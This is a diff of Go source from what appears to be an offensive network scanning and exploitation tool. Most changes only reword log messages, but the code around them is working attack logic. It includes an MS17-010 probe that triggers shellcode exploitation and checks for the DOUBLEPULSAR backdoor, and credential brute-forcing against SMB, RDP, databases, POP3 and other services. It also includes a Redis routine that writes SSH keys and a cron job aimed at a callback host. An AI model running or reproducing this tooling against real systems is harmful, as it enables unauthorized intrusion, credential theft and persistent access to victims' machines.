// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
log.Fatalf("解密协议请求失败: %v", err)
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
os.Exit(1)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码协议请求失败: %v", err)
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话请求失败: %v", err)
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
os.Exit(1)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话请求失败: %v", err)
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
os.Exit(1)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
log.Fatalf("解密连接请求失败: %v", err)
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
os.Exit(1)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码连接请求失败: %v", err)
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
os.Exit(1)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
log.Fatalf("解密管道请求失败: %v", err)
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
os.Exit(1)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码管道请求失败: %v", err)
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
log.Fatalf("解密会话设置请求失败: %v", err)
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
os.Exit(1)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
log.Fatalf("解码会话设置请求失败: %v", err)
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
os.Exit(1)
}
}
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
// 暴力破解模式下跳过扫描
if Common.DisableBrute {
return nil
}
// 执行MS17-010漏洞扫描
err := MS17010Scan(info)
if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err))
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
}
return err
}
// MS17010Scan 执行MS17-010漏洞扫描
func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host
// 连接目标445端口
// 连接目标
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil {
return err
return fmt.Errorf("连接错误: %v", err)
}
defer conn.Close()
// 设置连接超时
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return err
return fmt.Errorf("设置超时错误: %v", err)
}
// 发送SMB协议协商请求
// SMB协议协商
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return err
return fmt.Errorf("发送协议请求错误: %v", err)
}
// 读取响应
reply := make([]byte, 1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取协议响应错误: %v", err)
}
return fmt.Errorf("协议响应不完整")
}
// 检查协议响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return err
return fmt.Errorf("协议协商被拒绝")
}
// 发送会话建立请求
// 建立会话
if _, err = conn.Write(sessionSetupRequest); err != nil {
return err
return fmt.Errorf("发送会话请求错误: %v", err)
}
// 读取响应
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取会话响应错误: %v", err)
}
return fmt.Errorf("会话响应不完整")
}
// 检查会话响应状态
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return errors.New("无法确定目标是否存在漏洞")
return fmt.Errorf("会话建立失败")
}
// 提取操作系统信息
// 提取系统信息
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip)
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
} else {
// 查找Unicode字符串结束标记(两个连续的0字节)
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
@@ -163,69 +169,76 @@ func MS17010Scan(info *Common.HostInfo) error {
}
}
// 获取用户ID
// 树连接请求
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// 发送树连接请求
if _, err = conn.Write(treeConnectRequest); err != nil {
return err
return fmt.Errorf("发送树连接请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取树连接响应错误: %v", err)
}
return fmt.Errorf("树连接响应不完整")
}
// 获取树ID并设置后续请求
// 命名管道请求
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
// 发送命名管道请求
if _, err = conn.Write(transNamedPipeRequest); err != nil {
return err
return fmt.Errorf("发送管道请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取管道响应错误: %v", err)
}
return fmt.Errorf("管道响应不完整")
}
// 检查漏洞状态
// 漏洞检测
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
// 目标存在MS17-010漏洞
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os))
if os != "" {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
} else {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
}
// 如果指定了shellcode,执行漏洞利用
defer func() {
if Common.Shellcode != "" {
MS17010EXP(info)
}
}()
// 检测DOUBLEPULSAR后门
// DOUBLEPULSAR后门检测
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
return err
return fmt.Errorf("发送后门检测请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
if err != nil {
return fmt.Errorf("读取后门检测响应错误: %v", err)
}
return fmt.Errorf("后门检测响应不完整")
}
if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip))
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
}
} else {
// 未检测到漏洞,仅输出系统信息
Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os))
// Shellcode利用
if Common.Shellcode != "" {
defer MS17010EXP(info)
}
} else if os != "" {
Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os))
}
return err
return nil
}
+1 -1
View File
@@ -82,7 +82,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
}
if err != nil {
errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v",
errlog := fmt.Sprintf("MSSQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
+2 -2
View File
@@ -33,14 +33,14 @@ func MemcachedScan(info *Common.HostInfo) error {
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err)
errlog := fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
return err
}
// 检查响应内容
if strings.Contains(string(rev[:n]), "STAT") {
result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost)
result := fmt.Sprintf("Memcached %s 未授权访问", realhost)
Common.LogSuccess(result)
}
+2 -2
View File
@@ -41,13 +41,13 @@ func ModbusScan(info *Common.HostInfo) error {
// 验证响应
if isValidModbusResponse(response[:n]) {
result := fmt.Sprintf("[+] Modbus服务 %v:%v 无认证访问", host, port)
result := fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port)
Common.LogSuccess(result)
// 尝试读取更多设备信息
deviceInfo := parseModbusResponse(response[:n])
if deviceInfo != "" {
Common.LogSuccess(fmt.Sprintf("[+] 设备信息: %s", deviceInfo))
Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo))
}
return nil
}
+2 -2
View File
@@ -15,7 +15,7 @@ func MongodbScan(info *Common.HostInfo) error {
_, err := MongodbUnauth(info)
if err != nil {
errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err)
errlog := fmt.Sprintf("MongoDB %v:%v %v", info.Host, info.Ports, err)
Common.LogError(errlog)
}
return err
@@ -41,7 +41,7 @@ func MongodbUnauth(info *Common.HostInfo) (bool, error) {
// 检查响应结果
if strings.Contains(reply, "totalLinesWritten") {
result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost)
result := fmt.Sprintf("MongoDB %v 未授权访问", realhost)
Common.LogSuccess(result)
return true, nil
}
+2 -2
View File
@@ -91,7 +91,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
// 连接成功
select {
case successChan <- struct{}{}: // 标记成功
successLog := fmt.Sprintf("[+] MySQL %v:%v %v %v",
successLog := fmt.Sprintf("MySQL %v:%v %v %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog)
default:
@@ -105,7 +105,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v",
errlog := fmt.Sprintf("MySQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
+2 -2
View File
@@ -100,7 +100,7 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -177,7 +177,7 @@ func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// 连接成功
result := fmt.Sprintf("[+] Neo4j服务 %v:%v ", host, port)
result := fmt.Sprintf("Neo4j服务 %v:%v ", host, port)
if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else {
+1 -1
View File
@@ -18,7 +18,7 @@ func NetBIOS(info *Common.HostInfo) error {
netbios, _ := NetBIOS1(info)
output := netbios.String()
if len(output) > 0 {
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
Common.LogSuccess(result)
return nil
}
+2 -2
View File
@@ -85,7 +85,7 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Oracle %v:%v %v %v %v",
errlog := fmt.Sprintf("Oracle %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -152,7 +152,7 @@ func OracleConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
// 连接成功
result := fmt.Sprintf("[+] Oracle %v:%v:%v %v", host, port, username, password)
result := fmt.Sprintf("Oracle %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
+3 -3
View File
@@ -77,7 +77,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
err = result.err
if result.success && err == nil {
// 连接成功
successLog := fmt.Sprintf("[+] POP3服务 %v:%v 用户名: %v 密码: %v",
successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(successLog)
resultChan <- nil
@@ -89,7 +89,7 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -198,7 +198,7 @@ func tryPOP3Auth(conn net.Conn, host string, port string, user string, pass stri
}
if strings.Contains(response, "+OK") {
result := fmt.Sprintf("[+] POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
result := fmt.Sprintf("POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
if isTLS {
result += " (TLS)"
}
+2 -2
View File
@@ -85,7 +85,7 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] PostgreSQL %v:%v %v %v %v",
errlog := fmt.Sprintf("PostgreSQL %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -152,7 +152,7 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error)
}
// 连接成功
result := fmt.Sprintf("[+] PostgreSQL %v:%v:%v %v", host, port, username, password)
result := fmt.Sprintf("PostgreSQL %v:%v:%v %v", host, port, username, password)
Common.LogSuccess(result)
return true, nil
}
+6 -6
View File
@@ -73,9 +73,9 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
// 连接成功
var result string
if Common.Domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", info.Host, port, Common.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", info.Host, port, user, pass)
result = fmt.Sprintf("RDP %v:%v:%v %v", info.Host, port, user, pass)
}
Common.LogSuccess(result)
select {
@@ -86,7 +86,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
}
// 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", num, all, info.Host, port, user, pass, err)
Common.LogError(errlog)
}
}()
@@ -139,9 +139,9 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
// 连接成功
var result string
if domain != "" {
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
result = fmt.Sprintf("RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
} else {
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
result = fmt.Sprintf("RDP %v:%v:%v %v", host, port, user, pass)
}
Common.LogSuccess(result)
*signal = true
@@ -149,7 +149,7 @@ func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brute
}
// 连接失败
errlog := fmt.Sprintf("[-] (%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
errlog := fmt.Sprintf("(%v/%v) RDP %v:%v %v %v %v", *num, all, host, port, user, pass, err)
Common.LogError(errlog)
}
}
+3 -3
View File
@@ -82,7 +82,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
case result := <-done:
err = result.err
if result.success && err == nil {
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
info.Host, info.Ports, task.user, task.pass)
Common.LogSuccess(result)
resultChan <- nil
@@ -94,7 +94,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -158,7 +158,7 @@ func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error)
// 如果成功连接
if conn != nil {
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
result := fmt.Sprintf("RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
Common.LogSuccess(result)
return true, nil
}
+32 -32
View File
@@ -90,7 +90,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v",
errlog := fmt.Sprintf("Redis %v:%v %v %v",
info.Host, info.Ports, pass, err)
Common.LogError(errlog)
@@ -126,7 +126,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
}
}
}
return tmperr
}
@@ -162,12 +162,12 @@ func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
// 获取配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
result := fmt.Sprintf("Redis %s %s", realhost, pass)
Common.LogSuccess(result)
return true, err
}
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
Common.LogSuccess(result)
// 尝试利用
@@ -186,28 +186,28 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
return flag, err
}
defer conn.Close()
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
return flag, err
}
// 发送info命令测试未授权访问
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
return flag, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
return flag, err
}
@@ -217,19 +217,19 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// 获取Redis配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost)
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result)
return flag, err
}
// 输出详细信息
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result)
// 尝试漏洞利用
err = Expoilt(realhost, conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
}
}
@@ -246,53 +246,53 @@ func Expoilt(realhost string, conn net.Conn) error {
// 测试目录写入权限
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
return err
}
// SSH密钥写入测试
if flagSsh {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost))
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost))
// 如果指定了密钥文件则尝试写入
if Common.RedisFile != "" {
writeok, text, err := writekey(conn, Common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost))
Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost))
} else {
Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text))
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
}
}
}
// 定时任务写入测试
if flagCron {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost))
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost))
// 如果指定了shell命令则尝试写入定时任务
if Common.RedisShell != "" {
writeok, text, err := writecron(conn, Common.RedisShell)
if err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost))
Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost))
} else {
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text))
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
}
}
}
// 恢复数据库配置
if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err))
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
}
return err
@@ -328,11 +328,11 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
// 读取密钥文件
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err)
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename)
text = fmt.Sprintf("密钥文件 %s 为空", filename)
return flag, text, err
}
@@ -414,7 +414,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
// 解析目标主机地址
target := strings.Split(host, ":")
if len(target) < 2 {
return flag, "[-] 主机地址格式错误", err
return flag, "主机地址格式错误", err
}
scanIp, scanPort := target[0], target[1]
@@ -495,40 +495,40 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...")
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil {
fmt.Printf("[-] 发送SSH目录测试命令失败: %v\n", err)
fmt.Printf("发送SSH目录测试命令失败: %v\n", err)
return flag, flagCron, err
}
text, err := readreply(conn)
if err != nil {
fmt.Printf("[-] 读取SSH目录测试响应失败: %v\n", err)
fmt.Printf("读取SSH目录测试响应失败: %v\n", err)
return flag, flagCron, err
}
fmt.Printf("[*] SSH目录测试响应: %s\n", text)
if strings.Contains(text, "OK") {
flag = true
fmt.Println("[+] SSH目录写入权限测试成功")
fmt.Println("SSH目录写入权限测试成功")
} else {
fmt.Println("[-] SSH目录写入权限测试失败")
fmt.Println("SSH目录写入权限测试失败")
}
// 测试定时任务目录写入权限
fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...")
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil {
fmt.Printf("[-] 发送定时任务目录测试命令失败: %v\n", err)
fmt.Printf("发送定时任务目录测试命令失败: %v\n", err)
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
fmt.Printf("[-] 读取定时任务目录测试响应失败: %v\n", err)
fmt.Printf("读取定时任务目录测试响应失败: %v\n", err)
return flag, flagCron, err
}
fmt.Printf("[*] 定时任务目录测试响应: %s\n", text)
if strings.Contains(text, "OK") {
flagCron = true
fmt.Println("[+] 定时任务目录写入权限测试成功")
fmt.Println("定时任务目录写入权限测试成功")
} else {
fmt.Println("[-] 定时任务目录写入权限测试失败")
fmt.Println("定时任务目录写入权限测试失败")
}
fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron)
+3 -3
View File
@@ -102,7 +102,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况
if err != nil {
errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog)
@@ -242,7 +242,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
if strings.Contains(authResponse, "@RSYNCD: OK") {
// 模块不需要认证
if user == "" && pass == "" {
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
Common.LogSuccess(result)
return true, nil
}
@@ -264,7 +264,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
}
if !strings.Contains(string(buffer[:n]), "@ERROR") {
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
host, port, moduleName, user, pass)
Common.LogSuccess(result)
return true, nil
+78 -61
View File
@@ -15,67 +15,86 @@ func SmbScan(info *Common.HostInfo) (tmperr error) {
}
threads := Common.BruteThreads
totalTasks := len(Common.Userdict["smb"]) * len(Common.Passwords)
taskChan := make(chan struct {
user string
pass string
}, totalTasks)
// 生成任务
for _, user := range Common.Userdict["smb"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- struct {
user string
pass string
}{user, pass}
}
}
close(taskChan)
var wg sync.WaitGroup
successChan := make(chan struct{}, 1)
// 启动工作线程
for i := 0; i < threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for task := range taskChan {
select {
case <-successChan:
return
default:
}
// 按用户分组处理
for _, user := range Common.Userdict["smb"] {
taskChan := make(chan string, len(Common.Passwords))
success, err := doWithTimeOut(info, task.user, task.pass)
if success {
if Common.Domain != "" {
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
info.Host, info.Ports, Common.Domain, task.user, task.pass))
} else {
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v User:%v Pass:%v",
info.Host, info.Ports, task.user, task.pass))
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- pass
}
close(taskChan)
for i := 0; i < threads; i++ {
wg.Add(1)
go func(username string) {
defer wg.Done()
for pass := range taskChan {
select {
case <-successChan:
return
default:
}
success, err := doWithTimeOut(info, username, pass)
if success {
if Common.Domain != "" {
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s",
info.Host, info.Ports, Common.Domain, username, pass))
} else {
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s",
info.Host, info.Ports, username, pass))
}
successChan <- struct{}{}
// 成功后等待确保日志打印完成
time.Sleep(500 * time.Millisecond)
return
}
if err != nil {
Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, username, pass, err))
// 等待失败日志打印完成
time.Sleep(100 * time.Millisecond)
if strings.Contains(err.Error(), "账号锁定") {
for range taskChan {
// 清空通道
}
time.Sleep(200 * time.Millisecond) // 确保锁定日志打印完成
return
}
}
successChan <- struct{}{}
return
}
if err != nil {
Common.LogError(fmt.Sprintf("[-] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, task.user, task.pass, err))
}
}
}()
}(user)
}
wg.Wait()
select {
case <-successChan:
// 等待日志打印完成
time.Sleep(500 * time.Millisecond)
Common.LogWG.Wait()
return nil
default:
}
}
wg.Wait()
// 主函数结束前多等待一会
time.Sleep(500 * time.Millisecond)
Common.LogWG.Wait()
// 最后再等待一下,确保所有日志都打印完成
time.Sleep(500 * time.Millisecond)
return nil
}
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false
options := smb.Options{
Host: info.Host,
Port: 445,
@@ -89,10 +108,9 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
if err == nil {
defer session.Close()
if session.IsAuthenticated {
flag = true
return flag, nil
return true, nil
}
return flag, fmt.Errorf("认证失败")
return false, fmt.Errorf("认证失败")
}
// 清理错误信息中的换行符和多余空格
@@ -100,24 +118,24 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
if strings.Contains(errMsg, "NT Status Error") {
switch {
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
err = fmt.Errorf("用户名或密码错误")
err = fmt.Errorf("密码错误")
